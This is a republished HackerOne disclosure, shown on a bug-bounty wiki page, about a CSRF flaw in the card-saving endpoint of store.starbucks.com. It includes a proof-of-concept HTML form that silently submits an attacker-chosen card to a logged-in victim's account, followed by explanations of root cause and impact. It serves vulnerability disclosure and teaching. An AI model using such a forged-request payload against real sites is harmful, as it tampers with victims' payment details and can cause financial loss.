Skip to content
CSRF Disclosed report Beginner

CSRF vulnerability in saving payment card on store.starbucks.com (COBilling -AddCreditCard)

The report describes a CSRF vulnerability in the card-saving feature of store.starbucks.com, allowing an attacker to trick a logged-in user into saving an attacker-controlled payment card. This could lead to unauthorised charges or financial loss for the victim.

codequick Follow

Originally disclosed on HackerOne

  • Triaged in 16 days
  • Fixed in 6 months
  • Paid in 23 days
  • Disclosed after 7 months

Hi,

I noticed a CSRF issue that associated with card saving. It is possible for to save card details and can be used for quick payments while purchasing. The result will be a remote attacker can trick users to use some other cards that may silently led to loss of money in which actully it is not for online shopping purpose cards. Mainly this may allow an attacker to change the card details of the online purchasing card of the victim to some important cards good scenario will be the attacker can make trick on family members itself.

<html>
  <body>
    <form action="https://store.starbucks.com/on/demandware.store/Sites-Starbucks-Site/default/COBilling-AddCreditCard" method="POST">
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;type" value="Visa" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;owner" value="helloworld" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;number" value="███████" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;month" value="10" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;year" value="2&#44;019" />
      <input type="hidden" name="dwfrm&#95;billing&#95;paymentMethods&#95;creditCard&#95;saveCard" value="true" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Critical level goes from Low to medium depending on the nature of the attacker to perform this attack.

The original report as published on HackerOne, by codequick. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the application does not use anti-CSRF tokens or other protections to verify that the card-saving request originated from the legitimate site.

Impact

An attacker could trick a victim into saving other cards, potentially leading to loss of money.

What the attacker needed

Victim is logged in; victim visits attacker's page

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

CSRF (Cross-Site Request Forgery) is when a malicious website makes a logged-in user's browser send a request to another site without the user's knowledge. Here, an attacker could make a victim's browser save a card that the attacker controls, so later purchases might charge that card or confuse the victim.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More by codequick

View all

3 more disclosed reports, best first.

More from Starbucks

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.